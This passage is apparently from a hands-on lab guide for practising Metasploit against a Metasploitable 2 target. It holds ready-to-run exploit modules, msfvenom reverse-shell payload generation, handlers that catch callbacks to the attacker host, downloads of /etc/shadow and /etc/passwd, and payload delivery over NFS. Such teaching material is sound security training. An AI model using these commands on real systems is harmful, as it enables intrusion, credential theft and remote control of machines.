Meterpreter is Metasploit’s advanced payload. Unlike basic shells, it provides built-in commands for file operations, system enumeration, privilege escalation, and pivoting. It runs entirely in memory, making it harder to detect.
Your Tasks
- Exploit Java RMI to get a Meterpreter session
- Run ‘help’ to see all available Meterpreter commands
- Use sysinfo, getuid, and pwd to enumerate the system
- Navigate the filesystem using ls, cd, and cat
- Use ‘shell’ to drop into a system shell, then ‘exit’ to return
Hints
- Meterpreter has its own command set separate from the OS
- Use ‘help <command>’ for detailed command help
- The ‘shell’ command gives you native OS access
Useful Commands
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.72.129
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.72.130
run
# In Meterpreter session:
help
sysinfo
getuid
pwd
ls
cd /etc
cat passwd
shell
exit
Learning Outcomes
- Basic Meterpreter navigation and enumeration
- Understanding built-in vs native shell commands
- Why Meterpreter is preferred over basic shells
Scenario 5: Meterpreter File Operations
Difficulty: ★★☆☆☆ Beginner-Intermediate
Objective: Master file upload, download, and search in Meterpreter
Background
One of Meterpreter’s key advantages is seamless file transfer. You can download evidence, upload tools, and search for sensitive files without relying on external utilities. This is critical for both data exfiltration and deploying additional payloads.
Your Tasks
- Get a Meterpreter session on the target
- Download /etc/passwd and /etc/shadow files
- Create a test file on Kali and upload it to /tmp on target
- Use ‘search’ to find all .conf files in /etc
- Verify your downloads by viewing them locally
Hints
- Downloads go to your current local directory by default
- Use ‘lpwd’ and ‘lcd’ for local directory operations
- Search syntax: search -f <pattern> -d <directory>
Useful Commands
# In Meterpreter:
download /etc/passwd
download /etc/shadow
lpwd
# Create test file locally first (in another terminal):
echo 'test file' > /tmp/testfile.txt
# Back in Meterpreter:
upload /tmp/testfile.txt /tmp/uploaded.txt
ls /tmp
search -f *.conf -d /etc
Learning Outcomes
- Transferring files through Meterpreter
- Searching for sensitive files on target
- Managing local vs remote file operations
Scenario 6: Payload Generation with msfvenom
Difficulty: ★★★☆☆ Intermediate
Objective: Create standalone payloads for use outside Metasploit exploits
Background
msfvenom generates standalone payloads in various formats. This is useful when you need to deliver a payload through social engineering, combine with a custom exploit, or create executable files. Generated payloads connect back to a handler you set up.
Your Tasks
- List available payload formats with msfvenom
- Generate a Linux ELF reverse shell payload
- Generate a raw bash reverse shell one-liner
- Examine the generated payloads (don’t execute yet)
- Note the file sizes of different format outputs
Hints
- Use -f to specify output format
- Common formats: elf, exe, raw, python, bash
- The payload won’t work until you set up a handler
Useful Commands
# List formats
msfvenom --list formats
# Generate Linux executable
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=4444 -f elf -o shell.elf
# Generate bash one-liner
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.72.130 LPORT=4444 -f raw
# Check file info
file shell.elf
ls -la shell.elf
Learning Outcomes
- Creating payloads for different platforms and formats
- Understanding msfvenom options
- Preparing payloads for delivery
Scenario 7: Multi/Handler Setup
Difficulty: ★★★☆☆ Intermediate
Objective: Set up handlers to catch connections from generated payloads
Background
The multi/handler is a generic payload handler that catches incoming connections from any Metasploit payload. You need this when using msfvenom-generated payloads, or when the payload is delivered separately from the exploit. The handler must match the payload type.
Your Tasks
- Set up a handler matching your generated ELF payload
- Transfer the payload to the target via NFS mount
- Execute the payload on the target
- Catch the connection in your handler
- Verify you have a working Meterpreter session
Hints
- Handler payload MUST match generated payload exactly
- LHOST and LPORT must match what you used in msfvenom
- Use NFS to transfer the file: mount -t nfs <target>:/ /tmp/nfs
Useful Commands
# Terminal 1 - Set up handler
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.72.130
set LPORT 4444
run
# Terminal 2 - Transfer and execute
mkdir /tmp/nfs
mount -t nfs 192.168.72.129:/ /tmp/nfs
cp shell.elf /tmp/nfs/tmp/
chmod +x /tmp/nfs/tmp/shell.elf
# On target (via another session): /tmp/shell.elf
Learning Outcomes
- Configuring multi/handler correctly
- Matching handlers to payloads
- Complete payload delivery workflow
Scenario 8: Session Management
Difficulty: ★★★☆☆ Intermediate
Objective: Manage multiple sessions and background/interact with them
Background
Real penetration tests involve multiple sessions on different systems or services. Metasploit lets you background sessions, switch between them, and run commands across multiple sessions. Effective session management is crucial for complex engagements.
Your Tasks
- Exploit vsftpd to get a shell session
- Background the session with Ctrl+Z or ‘background’
- Exploit Samba to get a second session
- List all sessions and note their IDs
- Switch between sessions and verify which is which
Hints
- ‘sessions -l’ lists all active sessions
- ‘sessions -i <id>’ interacts with a specific session
- Note the session type (shell vs meterpreter)
Useful Commands
# Get first session
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.72.129
run
background
# Get second session
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.72.129
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.72.130
run
background
# Manage sessions
sessions -l
sessions -i 1
background
sessions -i 2
Learning Outcomes
- Backgrounding and foregrounding sessions
- Tracking multiple compromised systems
- Efficient navigation between sessions
Scenario 9: Upgrading Shell Sessions
Difficulty: ★★★★☆ Intermediate-Advanced
Objective: Upgrade basic shells to Meterpreter sessions
Background
Sometimes exploits only support basic shell payloads. You can upgrade these to Meterpreter for enhanced capabilities. This is also useful when you gain access through non-Metasploit methods and want Meterpreter features.
Your Tasks
- Get a basic shell session via vsftpd exploit
- Background the shell session
- Use shell_to_meterpreter to upgrade the session
- Verify you now have Meterpreter capabilities
- Compare functionality before and after upgrade
Hints
- The module is post/multi/manage/shell_to_meterpreter
- You need to specify which SESSION to upgrade
- A new session is created – the original remains
Useful Commands
# Get basic shell
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.72.129
run
background
# Upgrade to Meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 192.168.72.130
run
# Verify
sessions -l
sessions -i 2
sysinfo
Learning Outcomes
- Upgrading limited shells to full Meterpreter
- Using post-exploitation modules
- Maximizing capabilities from any initial access
Scenario 10: Comprehensive Payload Challenge
Difficulty: ★★★★★ Advanced
Objective: Combine all payload skills in a realistic scenario
Background
This challenge combines everything you’ve learned. You’ll need to choose appropriate payloads, manage multiple sessions, transfer files, and document your work. This simulates a real engagement where payload selection directly impacts success.
Your Tasks
- Establish 3 different sessions using 3 different payloads
- Generate a custom msfvenom payload, deliver and execute it
- Download /etc/shadow from a Meterpreter session
- Upgrade at least one basic shell to Meterpreter
- Create a brief report documenting each payload used and why
Hints
- Plan your approach before starting
- Consider: vsftpd, Samba, Java RMI, UnrealIRCd, distcc
- Document why you chose each payload type
Useful Commands
# Plan your attack matrix
# Exploit 1: vsftpd - built-in backdoor (no payload choice)
# Exploit 2: Samba - cmd/unix/reverse vs reverse_netcat
# Exploit 3: Java RMI - meterpreter/reverse_tcp
# Exploit 4: Custom msfvenom payload via NFS
sessions -l
sessions -K # Kill all sessions to start fresh
Learning Outcomes
- Strategic payload selection
- Managing complex multi-session environments
- Professional documentation of techniques
- End-to-end payload workflow mastery
Quick Reference Card
Essential Commands
sudo msfdb init && msfconsole # Start Metasploit
search <keyword> # Find modules
use <module> # Select module
show options # View settings
set RHOSTS <target> # Set target
set LHOST <your-ip> # Set your IP
run / exploit # Execute
sessions -l # List sessions
sessions -i <id> # Interact
Common Metasploitable 2 Exploits
| Service | Module | Port |
|---|---|---|
| vsftpd | exploit/unix/ftp/vsftpd_234_backdoor | 21 |
| Samba | exploit/multi/samba/usermap_script | 139/445 |
| Java RMI | exploit/multi/misc/java_rmi_server | 1099 |
| UnrealIRCd | exploit/unix/irc/unreal_ircd_3281_backdoor | 6667 |
| Distcc | exploit/unix/misc/distcc_exec | 3632 |
| PostgreSQL | exploit/linux/postgres/postgres_payload | 5432 |
Payload Quick Reference
| Payload Type | Use Case |
|---|---|
cmd/unix/reverse | Basic reverse shell for Unix/Linux |
cmd/unix/bind_netcat | Bind shell when reverse isn’t possible |
linux/x86/meterpreter/reverse_tcp | Full Meterpreter for Linux (staged) |
java/meterpreter/reverse_tcp | Java-based Meterpreter for Java exploits |
php/meterpreter/reverse_tcp | PHP Meterpreter for web app exploits |
Common Payload Options
| Option | Description |
|---|---|
LHOST | Your local IP (for reverse shells to connect back) |
LPORT | Local port to listen on (default: 4444) |
RHOST | Target IP address |
RPORT | Target port (for bind shells) |
Common Metasploitable 2 Services
| Port | Service | Potential Vulnerabilities |
|---|---|---|
| 21 | FTP (vsftpd 2.3.4) | Backdoor, Anonymous login |
| 22 | SSH | Weak credentials |
| 23 | Telnet | Weak credentials, Plaintext protocol |
| 80 | HTTP (Apache) | DVWA, Mutillidae, phpMyAdmin |
| 139/445 | Samba | usermap_script RCE |
| 1099 | Java RMI | Remote code execution |
| 3306 | MySQL | No root password |
| 3632 | Distcc | Command execution |
| 5432 | PostgreSQL | Weak credentials, Code execution |
| 6667 | UnrealIRCd | Backdoor |
| 8180 | Apache Tomcat | Default credentials, WAR upload |
Your Lab Environment
Kali Linux (Attacker): 192.168.72.130
Metasploitable 2 (Target): 192.168.72.129
Good luck with your penetration testing studies!
Remember: Only practice on systems you own or have explicit permission to test.